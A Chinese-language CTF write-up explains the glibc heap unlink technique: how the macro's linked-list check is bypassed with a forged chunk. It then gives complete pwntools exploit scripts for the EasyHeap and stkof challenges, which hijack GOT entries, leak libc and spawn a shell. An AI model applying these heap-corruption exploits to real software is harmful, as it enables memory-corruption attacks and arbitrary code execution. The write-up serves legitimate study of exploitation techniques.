Unlink

pic

原理介绍

unlink其实进行脱链操作,下面贴一张CTF-wiki上的原理图

38.png-123.8kB

一般来说就是将链表头处处于free状态的堆块从unsorted bin中脱离出来,
然后和物理相邻的堆块合并成新的大堆块(向前合并/向后合并),最后再放入到
unsortedbin中

1
2
3
4
5
6
7
/* at malloc.c _int_free */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

在free当前堆块的是后,会先检查其物理相邻的前一个堆块是不是处于释放状态,如果处于free状态则进入判断

将首先会提取当前堆块的前一个堆块的大小

将当前堆块的size和前一个堆块的size相加,即合并

将当前堆块的指针指向前一个堆块

然后unlink,即将当前的P所指向的chunk从双链表中移除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#define unlink(AV, P, BK, FD) {                                            \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (P->size) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}

可以看到这里会进行一个检查,判断FD的bk和BK的fd是否指向当前堆块

step1:伪造fake chunk

chunk = 0x0602040
P 为我们将要合并的地址,P存在于chunk中,且有*(chunk)=P
P->fd = chunk - 0x18 = 0x602028
P->bk = chunk - 0x10 = 0x602030

Step2: 绕过检查

Unlink(P,BK,FD){
    FD = P->fd     // FD = 0x602028
    BK = P->bk     // BK = 0x602030
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0)){
     // 检查绕过 FD->bk = *(0x602028+0x18) = *(0x602040)
     //绕过2 Bk->fd = *(0x602030+0x10) = *(0x602040)  
     FD->bk = BK //*(0x602040) = 0x602030
     BK->fd = FD   //*(0x6020240) = 0x602028
    }
}

Step3: 劫持程序执行流

经过上述的步骤,我们已经实现了在*(chunk)中写入了chunk-0x18的值
如过我向chunk - 0x18 写入__free_hook,在我下一次修改的时候就可以把__free_hook改写为system

列题

ZJCTF 2019 EasyHeap

这道题网上的wp大多都是house of spirit 以及 Unsorted bin attack, 这里介绍一种Unlink的攻击方式

IDA分析

add

39.png-43.8kB

可以看到add是用一个heaparray的数组来管理堆块的

40.png-19.9kB

edit

41.png-50.9kB

delete

42.png-32kB

同时该题也没开启PIE保护

43.png-23.7kB

这题就非常适合利用Unlink手法来构造exp

解题思路

Step1:伪造fake chunk

1
2
3
4
5
6
add(0x30,'0')
add(0xf0,'1')
add(0x100,'2')
add(0x100,'3')
payload = p64(0) + p64(0x31) + p64(chunk-0x18)+p64(chunk-0x10)+p64(0)+p64(0)+p64(0x30)+p64(0x100)
edit(0,len(payload),payload)

伪造后可以发现此时chunk0处于free状态

44.png-21.6kB

此时我们释放掉堆块1,可以发现堆块0和堆块1成功合并,触发Unlink

1
free(1)

45.png-77.3kB

Step2:任意地址写

可以看到chunk0已经指向了0x6020c8,我们可以通过edit(0)为system最后getshell

46.png-38.3kB

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

p = process("easyheap")
#context.log_level = 'debug'
libc = ELF('libc-2.23.so')
elf = ELF('easyheap')

def add(size,content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of Heap : ')
p.sendline(str(size))
p.recvuntil("Content of heap:")
p.sendline(content)

def free(idx):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(idx))

def edit(idx,size,data):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(idx))
p.recvuntil('Size of Heap : ')
p.sendline(str(size))
p.recvuntil("Content of heap : ")
p.sendline(data)

chunk = 0x6020E0

add(0x30,'0')
add(0xf0,'1')
add(0x100,'2')
add(0x100,'3')

payload = p64(0) + p64(0x31) + p64(chunk-0x18)+p64(chunk-0x10)+p64(0)+p64(0)+p64(0x30)+p64(0x100)
edit(0,len(payload),payload)

free(1)
gdb.attach(p)
system = elf.plt['system']
free_got = elf.got['free']

payload = b'a'*0x18+p64(system)+p64(system)+p64(free_got)
edit(0,len(payload),payload)
edit(2,0x10,p64(system))
edit(3,0x10,b'/bin/sh\x00')
free(3)
#gdb.attach(p)

p.interactive()

hitcon2014_stkof

题目分析

本题和上一题区别不大,唯一的区别就在于本题没有调用system函数,需要泄露libc地址

即把free_got 改为 puts_plt即可泄露地址

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *

elf = ELF('stkof')
libc = ELF('libc-2.23.so')
#p = process("stkof")
p = remote("node4.buuoj.cn",26259)
context.log_level = 'debug'

def add(size):
p.sendline("1")
p.sendline(str(size))


def edit(idx,size,content):
p.sendline("2")
p.sendline(str(idx))
p.sendline(str(size))
p.sendline(content)

def free(idx):
p.sendline("3")
p.sendline(str(idx))


chunk = 0x602150

add(0x20) #1
add(0x30) #2
add(0xf0) #3
add(0x100) #4
add(0x100) #5

payload = p64(0) + p64(0x31) + p64(chunk-0x18)+p64(chunk-0x10)+p64(0)+p64(0)+p64(0x30)+p64(0x100)
edit(2,len(payload),payload)
free(3)

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
atoi_got = elf.got['atoi']
free_got = elf.got['free']

payload =b'a'*0x18+ p64(atoi_got)+p64(atoi_got)+p64(free_got)
edit(2,len(payload),payload)

edit(4,len(p64(puts_plt)),p64(puts_plt))
free(3)

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['atoi']
print(hex(libc_base))

one = [0x45226,0x4527a,0xf03a4,0xf1247]
system = libc_base + libc.sym['system']
one_gadget = libc_base + one[2]

edit(4,len(p64(system)),p64(system))
#gdb.attach(p)
#p.sendline('/bin/sh\x00')
edit(5,0x8,'/bin/sh\x00')
free(5)
#gdb.attach(p)
p.interactive()